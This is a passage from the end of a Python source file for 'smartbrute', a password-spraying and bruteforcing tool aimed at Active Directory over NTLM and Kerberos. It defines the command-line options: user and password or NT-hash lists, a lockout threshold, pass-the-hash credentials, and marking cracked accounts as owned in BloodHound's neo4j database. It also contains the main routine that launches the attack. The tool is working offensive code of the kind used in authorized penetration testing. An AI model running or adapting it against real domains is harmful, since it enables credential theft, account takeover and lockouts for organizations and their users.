1618 | # print("smartbrute.py version %s" % VERSION)
1619 | print("")
1620 |
1621 |
1622 | def get_options():
1623 | print_banner()
1624 | description = "The smart password spraying and bruteforcing tool for Active Directory Domain Services."
1625 |
1626 | parser = argparse.ArgumentParser(
1627 | description=description,
1628 | # formatter_class=argparse.RawTextHelpFormatter,
1629 | )
1630 |
1631 | # defining base arguments (verbosity level, multithreading, ...)
1632 | parser.add_argument("-v", "--verbose", dest="verbosity", action="count", default=0, help="verbosity level (-v for verbose, -vv for debug)")
1633 | parser.add_argument("-q", "--quiet", dest="quiet", action="store_true", default=False, help="show no information at all")
1634 | # parser.add_argument("-t", "--threads", dest="threads", action="store", type=int, default=5, required=False, help="number of threads (default: 5)")
1635 |
1636 | # defining neo4j arguments for setting users as owned for BloodHound
1637 | neo4j_group = parser.add_argument_group("neo4j option")
1638 | neo4j_group.add_argument("--set-as-owned", dest="set_as_owned", action="store_true", help="Set valid users as owned in neo4j")
1639 | neo4j_group.add_argument("-nh", "--neo4j-host", dest="neo4j_host", action="store", default="127.0.0.1", help="neo4j database address (default: 127.0.0.1)")
1640 | neo4j_group.add_argument("-nP", "--neo4j-port", dest="neo4j_port", action="store", default="7687", help="neo4j database port (default:7687)")
1641 | neo4j_group.add_argument("-nu", "--neo4j-user", dest="neo4j_user", action="store", default="neo4j", help="neo4j username (default: neo4j)")
1642 | neo4j_group.add_argument("-np", "--neo4j-password", dest="neo4j_password", action="store", default="neo4j", help="neo4j password (default: neo4j)")
1643 |
1644 | # defining bruteforce mode arguments
1645 | bruteforce_mode = argparse.ArgumentParser(add_help=False)
1646 | bruteforce_mode.add_argument("--delay", dest="delay", action="store", type=float, default=0, help="number of seconds to wait before each attempt (default: 0)")
1647 | bruteforce_mode.add_argument("--stop-on-success", dest="stop_on_success", action="store_true", help="Stop bruteforcing when a valid authentication goes through")
1648 | bruteforce_mode.add_argument("--no-enumeration", dest="no_enumeration", action="store_true", help="Skip basic LDAP domain dump (used to identify privileged users when a first valid auth is found)")
1649 | bruteforce_mode.add_argument("--line-per-line", dest="line_per_line", action="store_true", default=False, help="given a users file and a passwords/hashes file, do not every each password/hash for every user (user1:password1, user2:password2, ...)")
1650 | bruteforced_creds = bruteforce_mode.add_argument_group("credentials to test")
1651 | bruteforced_users = bruteforced_creds.add_mutually_exclusive_group(required=True)
1652 | bruteforced_users.add_argument("-bu", "--bf-user", dest="bf_user", action="store", help="username to test")
1653 | bruteforced_users.add_argument("-bU", "--bf-users-file", dest="bf_users_file", action="store", help="usernames file to test")
1654 | bruteforced_secrets = bruteforced_creds.add_mutually_exclusive_group(required=True)
1655 | bruteforced_secrets.add_argument("--user-as-password", dest="user_as_password", action="store_true", default=False, help="try the username as password")
1656 | bruteforced_secrets.add_argument("-bp", "--bf-password", dest="bf_password", action="store", help="password to test")
1657 | bruteforced_secrets.add_argument("-bP", "--bf-passwords-file", dest="bf_passwords_file", action="store", help="passwords file to test")
1658 | bruteforced_secrets.add_argument("-bh", "--bf-hash", dest="bf_hash", action="store", help="NT hash (or RC4 Kerberos key) to test")
1659 | bruteforced_secrets.add_argument("-bH", "--bf-hashes-file", dest="bf_hashes_file", action="store", help="NT hashes (or RC4 Kerberos keys) file to test")
1660 |
1661 | # defining bruteforce mode using NTLM
1662 | bruteforce_mode_ntlm_mode = argparse.ArgumentParser(add_help=False)
1663 | bruteforce_mode_ntlm_mode.add_argument("--dc-ip", dest="dc_ip", action="store", help="domain controller to authenticate to (when using -p/--application-protocol=smb, it can be set to something else than a DC)")
1664 | bruteforce_mode_ntlm_mode.add_argument("-d", "--domain", dest="domain", action="store", help="domain to authenticate to")
1665 | bruteforce_mode_ntlm_mode.add_argument("-p", "--application-protocol", choices=["ldap", "smb"], dest="application_protocol", action="store", help="application layer protocol with which NTLM authentication has to be tried (default: smb)", default="smb")
1666 | bruteforce_mode_ntlm_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)")
1667 |
1668 | # defining bruteforce mode using Kerberos
1669 | bruteforce_mode_kerberos_mode = argparse.ArgumentParser(add_help=False)
1670 | bruteforce_mode_kerberos_mode.add_argument("--kdc-ip", dest="kdc_ip", action="store", help="key distribution center to obtain tickets from")
1671 | bruteforce_mode_kerberos_mode.add_argument("-d", "--domain", dest="domain", action="store", required=True, help="domain to authenticate to")
1672 | bruteforce_mode_kerberos_mode.add_argument("-p", "--transport-protocol", dest="transport_protocol", choices=["udp", "tcp"], default="udp", action="store", help="transport protocol to use (default: udp)")
1673 | bruteforce_mode_kerberos_mode.add_argument("-e", "--etype", dest="etype", action="store", choices=["rc4", "aes128", "aes256"], default="rc4", help="etype to use (default: rc4)")
1674 | bruteforce_mode_kerberos_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)")
1675 | bruteforce_mode_kerberos_mode.add_argument('--dc-host', action='store', help='Hostname of the target, can be used if port 445 is blocked or if NTLM is disabled')
1676 |
1677 | # adding NTLM and Kerberos bruteforcing modes subparsers to the bruteforce mode
1678 | bruteforce_mode_protocols_subparser = bruteforce_mode.add_subparsers(help="this tells what authentication protocol smartbrute has to use when bruteforcing. When choosing kerberos, smartbrute will operate a pre-authentication bruteforce", dest="bruteforced_protocol")
1679 | bruteforce_mode_ntlm_parser = bruteforce_mode_protocols_subparser.add_parser("ntlm", parents=[bruteforce_mode_ntlm_mode], help="attack through NTLM")
1680 | bruteforce_mode_kerberos_parser = bruteforce_mode_protocols_subparser.add_parser("kerberos", parents=[bruteforce_mode_kerberos_mode], help="attack through Kerberos")
1681 |
1682 | # defining the smart mode arguments
1683 | smart_mode = argparse.ArgumentParser(add_help=False)
1684 | smart_mode.add_argument("-t", "--lockout-threshold", dest="lockout_threshold", action="store", type=int, default=3, required=False, help="number of attempts to leave the user (0 could lockout accounts) (default: 3)")
1685 | smart_mode.add_argument("--delay", dest="delay", action="store", type=int, default=0, help="number of seconds to wait before each attempt (default: 0)")
1686 | smartbruteforced_action = smart_mode.add_mutually_exclusive_group(required=True)
1687 | smartbruteforced_action.add_argument("--users", dest="enum_users", action="store_true", default=False, help="only show users list")
1688 | smartbruteforced_action.add_argument("--policy", dest="enum_policy", action="store_true", default=False, help="only show accounts and passwords policy")
1689 | smartbruteforced_action.add_argument("--user-as-password", dest="user_as_password", action="store_true", default=False, help="try the username as password")
1690 | smartbruteforced_action.add_argument("-bp", "--bf-password", dest="bf_password", action="store", help="password to test")
1691 | smartbruteforced_action.add_argument("-bP", "--bf-passwords-file", dest="bf_passwords_file", action="store", help="passwords file to test")
1692 | smartbruteforced_action.add_argument("-bh", "--bf-hash", dest="bf_hash", action="store", help="NT hash (or RC4 Kerberos key) to test")
1693 | smartbruteforced_action.add_argument("-bH", "--bf-hashes-file", dest="bf_hashes_file", action="store", help="NT hashes (or RC4 Kerberos keys) file to test")
1694 | smartbruteforced_action.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)")
1695 |
1696 | # defining smart mode attacking on the NTLM protocol
1697 | smart_mode_ntlm_mode = argparse.ArgumentParser(add_help=False)
1698 | smart_mode_ntlm_mode.add_argument("--dc-ip", dest="dc_ip", action="store", help="domain controller to authenticate to")
1699 | # smart_mode_ntlm_mode.add_argument("-d", "--domain", dest="domain", action="store", help="domain to authenticate to")
1700 | smart_mode_ntlm_mode.add_argument("-p", "--application-protocol", choices=["ldap", "smb"], dest="application_protocol", action="store", help="application layer protocol with which NTLM authentication has to be tried (default: smb)", default="smb")
1701 | smart_mode_ntlm_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)")
1702 |
1703 | # defining smart mode attacking on the Kerberos protocol
1704 | smart_mode_kerberos_mode = argparse.ArgumentParser(add_help=False)
1705 | smart_mode_kerberos_mode.add_argument("--kdc-ip", dest="kdc_ip", action="store", help="key distribution center to obtain tickets from")
1706 | smart_mode_kerberos_mode.add_argument("-p", "--transport-protocol", dest="transport_protocol", choices=["udp", "tcp"], default="udp", action="store", help="transport protocol to use (default: udp)")
1707 | # smart_mode_kerberos_mode.add_argument("-d", "--domain", dest="domain", action="store", help="domain to authenticate to")
1708 | smart_mode_kerberos_mode.add_argument("-e", "--etype", dest="etype", action="store", choices=["rc4", "aes128", "aes256"], default="rc4", help="etype to use (default: rc4)")
1709 | smart_mode_kerberos_mode.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)")
1710 | smart_mode_kerberos_mode.add_argument('--dc-host', action='store', help='Hostname of the target, can be used if port 445 is blocked or if NTLM is disabled')
1711 |
1712 | # defining the smart mode NTLM authentication arguments
1713 | ntlm_auth = argparse.ArgumentParser(add_help=False)
1714 | ntlm_auth.add_argument("--dc-ip", dest="auth_dc_ip", metavar="DC_IP", action="store", help="domain controller to authenticate to")
1715 | ntlm_auth.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", required=True, help="domain to authenticate to")
1716 | ntlm_auth.add_argument("-u", "--auth-user", dest="auth_user", metavar="USER", action="store", required=True, help="user to authenticate with")
1717 | ntlm_secrets = ntlm_auth.add_mutually_exclusive_group(required=True)
1718 | ntlm_secrets.add_argument("-p", "--auth-password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with")
1719 | ntlm_secrets.add_argument("-H", "--auth-hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help="hashes to authenticate with")
1720 |
1721 | # adding the NTLM and Kerberos target protocol for smart mode attack as subparsers to the NTLM auth protocol
1722 | ntlm_mode_protocols_subparser = ntlm_auth.add_subparsers(help="this tells what authentication protocol smartbrute has to use when bruteforcing. When choosing kerberos, smartbrute will operate a pre-authentication bruteforce", dest="bruteforced_protocol")
1723 | smart_mode_ntlm_parser = ntlm_mode_protocols_subparser.add_parser("ntlm", parents=[smart_mode_ntlm_mode], help="attack through NTLM")
1724 | smart_mode_ntlm_parser = ntlm_mode_protocols_subparser.add_parser("kerberos", parents=[smart_mode_kerberos_mode], help="attack through Kerberos")
1725 |
1726 | # defining the smart mode Kerberos authentication arguments
1727 | kerberos_auth = argparse.ArgumentParser(add_help=False)
1728 | kerberos_auth.add_argument("--kdc-ip", dest="auth_kdc_ip", metavar="KDC_IP", action="store", help="key distribution center to obtain tickets from")
1729 | kerberos_auth.add_argument("--use-ldaps", dest="auth_use_ldaps", action="store_true", help="Use LDAPS instead of LDAP to query domain information (default: False)")
1730 | kerberos_secrets = kerberos_auth.add_mutually_exclusive_group()
1731 | kerberos_secrets.add_argument("-t", "--ccache-ticket", dest="auth_ccache_ticket", action="store", metavar="/path/to/ticket.ccache", help="path to a .ccache file (kerberos ticket)")
1732 | kerberos_credentials = kerberos_secrets.add_argument_group("credentials to use")
1733 | kerberos_credentials.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to")
1734 | kerberos_credentials.add_argument("-u", "--user", dest="auth_user", metavar="USER", action="store", help="user to authenticate with")
1735 | kerberos_secret = kerberos_credentials.add_mutually_exclusive_group()
1736 | kerberos_secret.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with")
1737 | kerberos_secret.add_argument("-H", "--hash", dest="auth_rc4_key", metavar="RC4_KEY", action="store", help="RC4 kerberos key (i.e. NT hash) to authenticate with")
1738 | kerberos_secret.add_argument("-k", "--key", dest="auth_aes_key", action="store", metavar="AES_KEY", help="AES128 or AES256 kerberos key to authenticate with (in hex)")
1739 |
1740 | # adding the NTLM and Kerberos target protocol for smart mode attack as subparsers to the Kerberos auth protocol
1741 | kerberos_mode_protocols_subparser = kerberos_auth.add_subparsers(dest="bruteforced_protocol")
1742 | smart_mode_kerberos_parser = kerberos_mode_protocols_subparser.add_parser("ntlm", parents=[smart_mode_ntlm_mode], help="attack through NTLM")
1743 | smart_mode_kerberos_parser = kerberos_mode_protocols_subparser.add_parser("kerberos", parents=[smart_mode_kerberos_mode], help="attack through Kerberos")
1744 |
1745 | # adding the NTLM and Kerberos auth protocols subparsers to the smart mode
1746 | mode_subparsers = smart_mode.add_subparsers(help="this is a required argument and tells smartbrute which protocol to use when authenticating to gather information before bruteforcing (like users, policies, ...)", dest="auth_protocol")
1747 | ntlm_parser = mode_subparsers.add_parser("ntlm", parents=[ntlm_auth], help="authenticate through NTLM to gather information")
1748 | kerberos_parser = mode_subparsers.add_parser("kerberos", parents=[kerberos_auth], help="authenticate through Kerberos to gather information")
1749 |
1750 | # adding the bruteforce and smart subparsers to the base parser
1751 | subparsers = parser.add_subparsers(help="this is a required argument and tells smartbrute in which mode to run. smart mode will enumerate users and policies and avoid locking out accounts given valid domain credentials. brute mode is dumb and only bruteforces.", dest="running_mode")
1752 | bruteforce_parser = subparsers.add_parser("brute", parents=[bruteforce_mode], help="bruteforce mode")
1753 | smart_parser = subparsers.add_parser("smart", parents=[smart_mode], help="smart mode")
1754 |
1755 | options = parser.parse_args()
1756 |
1757 |
1758 | # print(parser.parse_args())
1759 | if options.running_mode is None:
1760 | print("error: please choose between smart and brute for running mode. This has to be supplied as a positional argument (i.e. smartbrute.py smart)")
1761 | parser.print_help()
1762 | exit(0)
1763 | if options.running_mode == "brute" and options.bruteforced_protocol is None:
1764 | print("error: please choose between ntlm and kerberos for bruteforce mode. This has to be supplied as a positional argument (i.e. smartbrute.py brute [options] ntlm [options])")
1765 | bruteforce_parser.print_help()
1766 | exit(0)
1767 | if options.running_mode == "smart" and options.auth_protocol is None:
1768 | print("error: please choose between ntlm and kerberos for authentication protocol when using the smart mode. This has to be supplied as a positional argument (i.e. smartbrute.py smart [options] ntlm [options])")
1769 | smart_parser.print_help()
1770 | exit(0)
1771 | if options.running_mode == "smart" and options.enum_users == False and options.enum_policy == False and options.bruteforced_protocol is None:
1772 | print("error: either set --users or --policy or choose a bruteforced protocol (ntlm or kerberos) as positional argument (i.e. smartbrute.py smart --users [options] ntlm [options], or smartbrute.py smart [options] ntlm [options] ntlm)")
1773 | smart_parser.print_help()
1774 | exit(0)
1775 | if (options.running_mode == "brute" and options.bruteforced_protocol == "ntlm") and options.dc_ip is None and options.domain is None:
1776 | bruteforce_mode_ntlm_mode.error("one of the arguments -d/--domain --dc-ip is required")
1777 | if (options.running_mode == "brute" and options.line_per_line == True) and (options.bf_users_file is None or (options.bf_passwords_file is None and options.bf_hashes_file is None)):
1778 | bruteforce_mode.error("with --line-per-line, argument -bU/--bf-users-file is required and one of the arguments -bP/--bf-passwords-file -bH/--bf-hashes-file is required")
1779 |
1780 | if options.running_mode == "smart" and options.auth_protocol == "kerberos" and options.auth_ccache_ticket is None and (options.auth_domain is None or options.auth_user is None or (options.auth_password is None and options.auth_aes_key is None and options.auth_rc4_key is None)):
1781 | print("error: either set -t/--ccache-ticket or (-d/--domain with -u/--user with (-p/--password or -H/--hash or -k/--aes-key))")
1782 | kerberos_parser.print_help()
1783 | exit(0)
1784 |
1785 | if options.running_mode == "smart" and options.auth_protocol == "kerberos" and options.auth_domain is not None and "." not in options.auth_domain:
1786 | print("error: FQDN domain is needed")
1787 | kerberos_parser.print_help()
1788 | exit(0)
1789 |
1790 | if options.bruteforced_protocol == "kerberos":
1791 | if (options.bf_hash is not None or options.bf_hashes_file is not None) and options.etype != "rc4":
1792 | print("error: -e/--etype was set to aes128 or aes256 but a RC4 key (or set of) was supplied with -bh/-bH, this doesn't make sense. Resuming the bruteforce with RC4 etype.")
1793 | kerberos_parser.print_help()
1794 | exit(0)
1795 |
1796 | return options
1797 |
1798 |
1799 | def main(options, logger, console, neo4j):
1800 |
1801 | # if options.running_mode == "smart" and (options.bruteforced_protocol == "ntlm" or options.bruteforced_protocol == "kerberos") and options.domain is None:
1802 | # logger.verbose("No bruteforced domain was set, using the same as the one used for authentication")
1803 | # options.domain = options.auth_domain
1804 |
1805 | secret = None
1806 | if options.bf_password is not None or options.bf_passwords_file is not None:
1807 | secret = "password"
1808 | logger.info("Starting bruteforce attack on passwords")
1809 | elif options.bf_hash is not None or options.bf_hashes_file is not None:
1810 | if options.bruteforced_protocol == "ntlm":
1811 | secret = "NT hash"
1812 | logger.info("Starting bruteforce attack on NT hashes")
1813 | elif options.bruteforced_protocol == "kerberos":
1814 | secret = "RC4 key"
1815 | logger.info("Starting bruteforce attack on RC4 keys")
1816 | else:
1817 | if options.user_as_password:
1818 | secret = "password"
1819 | # elif options.bruteforced_protocol == "ntlm":
1820 | # logger.error("No password (or list of passwords, or hashes) was supplied, there is nothing to be done")
1821 | # exit(0)
1822 | # elif options.bruteforced_protocol == "kerberos":
1823 | # logger.error("No password (or list of passwords, or hashes) was supplied, there is nothing to be done")
1824 | # exit(0)
1825 |
1826 | table = Table(
1827 | show_header=True,
1828 | header_style="bold blue",
1829 | border_style="grey35",
1830 | caption_style="",
1831 | caption_justify="left",
1832 | box=box.SQUARE
1833 | )
1834 |
1835 | with Live(Columns((table,), expand=True), console=console, refresh_per_second=10, vertical_overflow="ellipsis"):
1836 | table.add_column("domain")
1837 | table.add_column("user")
1838 | if options.running_mode == "smart":
1839 | if options.enum_policy:
1840 | table.add_column("granular lockout threshold")
1841 | if secret is not None:
1842 | table.add_column(secret)
1843 | table.add_column("details")
1844 | bf = bruteforce(options, table, neo4j)
1845 | if options.running_mode == "brute":
1846 | bf.bruteforce_attack()
1847 | elif options.running_mode == "smart":
1848 | bf.smart_attack()
1849 | table.caption = None
1850 |
1851 |
1852 | if __name__ == "__main__":
1853 | try:
1854 | options = get_options()
1855 | logger = Logger(options.verbosity, options.quiet)
1856 | console = Console()
1857 | neo4j = None
1858 | if options.set_as_owned == True:
1859 | neo4j_options = Neo4jConnection.Options(options.neo4j_host, options.neo4j_user, options.neo4j_password, options.neo4j_port, logger)
1860 | neo4j = Neo4jConnection(neo4j_options)
1861 | neo4j._get_driver()
1862 | try:
1863 | neo4j._run_query("MATCH p=(n) RETURN p")
1864 | except AuthError as e:
1865 | logger.error("Error when connecting to the neo4j database, check the credentials")
1866 | exit(0)
1867 | except Exception as e:
1868 | logger.error("Other error occured: %s" % e)
1869 | exit(0)
1870 | main(options, logger, console, neo4j)
1871 | print()
1872 | except KeyboardInterrupt:
1873 | logger.info("Terminating script...")
1874 | raise SystemExit
1875 |
--------------------------------------------------------------------------------